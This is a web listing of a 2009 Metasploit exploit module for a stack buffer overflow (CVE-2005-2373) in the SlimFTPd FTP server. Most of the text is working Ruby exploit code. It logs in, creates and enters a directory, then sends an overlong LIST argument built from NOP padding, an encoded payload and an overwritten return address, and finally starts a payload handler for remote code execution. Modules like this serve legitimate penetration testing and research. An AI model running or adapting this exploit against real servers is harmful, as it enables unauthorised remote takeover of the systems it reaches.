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SlimFTPd LIST Concatenation Overflow

SlimFTPd LIST Concatenation Overflow
Posted Nov 26, 2009
Authored by riaf | Site metasploit.com

This Metasploit module exploits a stack overflow in the SlimFTPd server. The flaw is triggered when a LIST command is received with an overly-long argument. This vulnerability affects all versions of SlimFTPd prior to 3.16 and was discovered by Raphael Rigo.

tags | exploit, overflow
advisories | CVE-2005-2373
SHA-256 | 55e26861520e953f85b098982baa1fa9c82fe412aea320df41475c3eba5a0d70

SlimFTPd LIST Concatenation Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'SlimFTPd LIST Concatenation Overflow',
'Description' => %q{
This module exploits a stack overflow in the SlimFTPd
server. The flaw is triggered when a LIST command is
received with an overly-long argument. This vulnerability
affects all versions of SlimFTPd prior to 3.16 and was
discovered by Raphael Rigo.

},
'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-2373'],
[ 'OSVDB', '18172'],
[ 'BID', '14339'],

],
'Privileged' => false,
'Payload' =>
{
'Space' => 490,
'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
'StackAdjustment' => -3500,

},
'Targets' =>
[
[
'SlimFTPd Server <= 3.16 Universal',
{
'Platform' => 'win',
'Ret' => 0x0040057d,
},
],
],
'DisclosureDate' => 'Jul 21 2005',
'DefaultTarget' => 0))
end

def exploit
connect_login

print_status("Trying target #{target.name}...")

buf = make_nops(511)
buf[10, payload.encoded.length] = payload.encoded
buf[507, 4] = [ target.ret ].pack('V')

send_cmd( ['XMKD', '41414141'], true );
send_cmd( ['CWD', '41414141'], true );
send_cmd( ['LIST', buf], false )

handler
disconnect
end

end
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